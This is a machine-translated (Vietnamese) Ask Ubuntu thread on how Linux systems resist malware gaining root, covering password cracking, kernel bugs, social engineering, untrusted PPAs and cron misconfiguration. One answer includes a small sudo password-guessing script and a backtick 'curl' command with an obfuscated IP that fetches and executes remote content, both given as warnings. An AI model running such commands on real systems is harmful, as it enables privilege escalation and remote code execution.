Làm thế nào là hệ thống được giữ an toàn?


24

Tôi hiểu rằng nếu bất kỳ phần mềm độc hại nào xâm nhập vào hệ thống Linux, thì nhiều nhất, nó sẽ có được đặc quyền cấp người dùng và phá hỏng mọi thứ trong phạm vi của người dùng cụ thể, tức là các tệp của chính người dùng.

Nhưng chính xác những gì giữ cho các phần mềm độc hại có được quyền truy cập cấp gốc? Nó có thể không bằng cách nào đó bẻ khóa mật khẩu từ bên trong?


Câu hỏi và câu trả lời tuyệt vời!
NlightNFotis

Câu trả lời:


20

Đây là một câu hỏi phức tạp. Có rất nhiều lớp bảo mật khác nhau trong một hệ thống Ubuntu, từ các khung phức tạp như AppArmor đến các biến nhân khiêm tốn như mmap_min_addr. Bạn có thể thêm một số tính năng kernel như ngẫu nhiên bộ nhớ trong hỗn hợp. Bạn có thể tìm thấy một danh sách về chúng cùng với lời giải thích nhanh về Ubuntu Wiki .

Một yếu tố quan trọng khác là các bản cập nhật đều nhanh và dễ dàng - vì vậy hầu hết các máy tính sẽ được cập nhật lên các bản sửa lỗi bảo mật cuối cùng.

Theo tôi biết, một kẻ tấn công đã giành được quyền truy cập cục bộ vào máy tính của bạn có ba cách để mở rộng các đặc quyền kernel:

  1. Crack mật khẩu. Nhưng điều này sẽ thực sự khó khăn, mật khẩu được lưu trữ được mã hóa, sử dụng các thuật toán không có lỗ hổng được biết đến. Nó sẽ mất nhiều thời gian để crack nó.

  2. Lỗi trong kernel. Nhưng tất cả các tính năng bảo mật của kernel sẽ cản trở.

  3. Lừa người dùng để cho đi mật khẩu, tức là kỹ thuật xã hội. Chỉ cần hiển thị một cuộc đối thoại mật khẩu giả hoặc sử dụng một số thủ thuật khác. Đây là cách dễ nhất để làm điều đó.

Điểm thứ ba là lỗ hổng yếu nhất hiện nay.


5
Lưu ý rằng "mật khẩu" này là mật khẩu của người dùng có quyền sudo-to-root. Tài khoản root bị tắt theo mặc định. # 3 thực sự là điều có thể xảy ra nhất. Ngoài ra, nếu bạn cài đặt các kho lưu trữ không đáng tin cậy, bạn đang phân phát các tài khoản root miễn phí cho kho lưu trữ đó.
Lekensteyn

@Lekensteyn, cái gì?! Làm thế nào là thêm repos không đáng tin cậy bàn giao quyền truy cập root? Nhân tiện, bạn có thể muốn đăng nó như một câu trả lời, tôi muốn chủ đề này là một loại wiki cộng đồng.
Oxwivi

Không tồn tại bất kỳ chủ đề nào trên Askubfox, ngoài các quy trình máy chủ. Bạn vừa đăng một bình luận cho một câu trả lời cho câu hỏi của bạn . Tôi đã thêm một câu trả lời với thực phẩm cho suy nghĩ.
Lekensteyn

@Oxwivi Khi bạn thêm một PPA và cài đặt một gói, gói đó có các tập lệnh trước và sau có thể làm bất cứ điều gì họ muốn. Nó cũng có thể cài đặt một dịch vụ để chạy như root hoặc lộn xộn sudoers.
ζ--

15

Không thể tự mình bẻ khóa mật khẩu, vì Ubuntu đã vô hiệu hóa người dùng root theo mặc định. Tuy nhiên, nếu người dùng của bạn có thể trở thành root thông qua sudo và mật khẩu của bạn rất dễ đoán / brute-force, thì bạn đã có một hệ thống không an toàn. Kịch bản ví dụ đang cố kiểm tra một số mật khẩu:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Thêm một kho lưu trữ không tin cậy cho phép các chương trình từ kho lưu trữ đó được cài đặt. Ngay cả khi bạn không cài đặt rõ ràng một ứng dụng như thế sudo apt-get install [app-from-repo], kho lưu trữ vẫn có thể ảnh hưởng đến các chương trình khác bằng cách khiến Ubuntu tin rằng kho lưu trữ chứa phiên bản mới hơn của một chương trình nhất định.

Quá trình cập nhật được chạy dưới quyền root, nếu không các tệp không thể được ghi vào /usr/binhoặc /etc. Một kích hoạt cài đặt cũng được chạy như root và có thể chạy tùy ý, và có thể, các lệnh có hại. Bây giờ, đừng lo lắng, cần có hành động thủ công để cập nhật chương trình và kho lưu trữ Ubuntu vẫn an toàn. Phần mềm nguồn đóng như Windows không bao giờ có thể được tin cậy hoàn toàn vì bạn không thể kiểm tra nguồn mã độc, nhưng bạn có thể xem lại nguồn ứng dụng Ubuntu nếu bạn cần (không áp dụng cho các chương trình độc quyền như sun-java6hoặc Flash).

Như được đề cập bởi Javier Rivera, các lỗi kernel có thể dẫn đến việc thực thi mã tùy ý, nhưng phần mềm bị lỗi cũng có thể nguy hiểm, đặc biệt là các setsuidtệp nhị phân lỗi (nhị phân sẽ chạy dưới quyền của chủ sở hữu tệp, root) và các chương trình lỗi khác chạy bằng root.

Bạn có thể tạo lỗ hổng bảo mật trên hệ thống của mình nếu bạn không chú ý đến những gì bạn đang làm. Ví dụ: không hiểu đầy đủ về khái niệm cronjobs, bạn đã thêm một cronjob để /etc/cron.dailychạy một chương trình trong thư mục nhà của bạn (ví dụ: /bin/sh /home/your-username/myscript.shNếu tệp myscript.sh có thể ghi được bởi bạn, bạn có thể xóa một khai thác độc hại mã trong myscript.shđó sẽ được chạy như root (leo thang đặc quyền).

Để giữ an toàn, sử dụng tâm trí của bạn! Không chạy các lệnh từ các nguồn không đáng tin cậy nếu bạn không biết nó làm gì. Nếu ai đó nói chạy `curl 3221233674`với tích tắc, thì không. 3221233674 là một cách khác để viết 192.0.32.10(IP của example.com). Vì vậy, nó sẽ bằng:

`curl http://example.com/`

Những dấu kiểm ngược đó làm cho đầu ra được thực thi như các lệnh shell. Nói một cách dễ hiểu, "Tải xuống trang http://example.com/ và thử thực hiện trang đã tải xuống".

Lúc đầu, bạn sẽ không thấy thứ gì độc hại trong lệnh đã cho. Nhưng bây giờ, bạn biết nó cũng có thể bị lạm dụng.

Luôn kiểm tra các lệnh / tập lệnh bạn nhận được từ các nguồn không đáng tin cậy, như Internet.


1
Cảm ơn câu trả lời, tôi hy vọng bạn không bận tâm đến các chỉnh sửa của tôi. Hãy lưu ý các chỉnh sửa của tôi để cải thiện tiếng Anh của bạn.
Oxwivi

2
Không, tôi không phiền. Mọi cải tiến đều được chào đón :)
Lekensteyn

Bất kể, đây là một bài viết xuất sắc, những điểm bạn đề cập phải được lưu ý!
Oxwivi
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.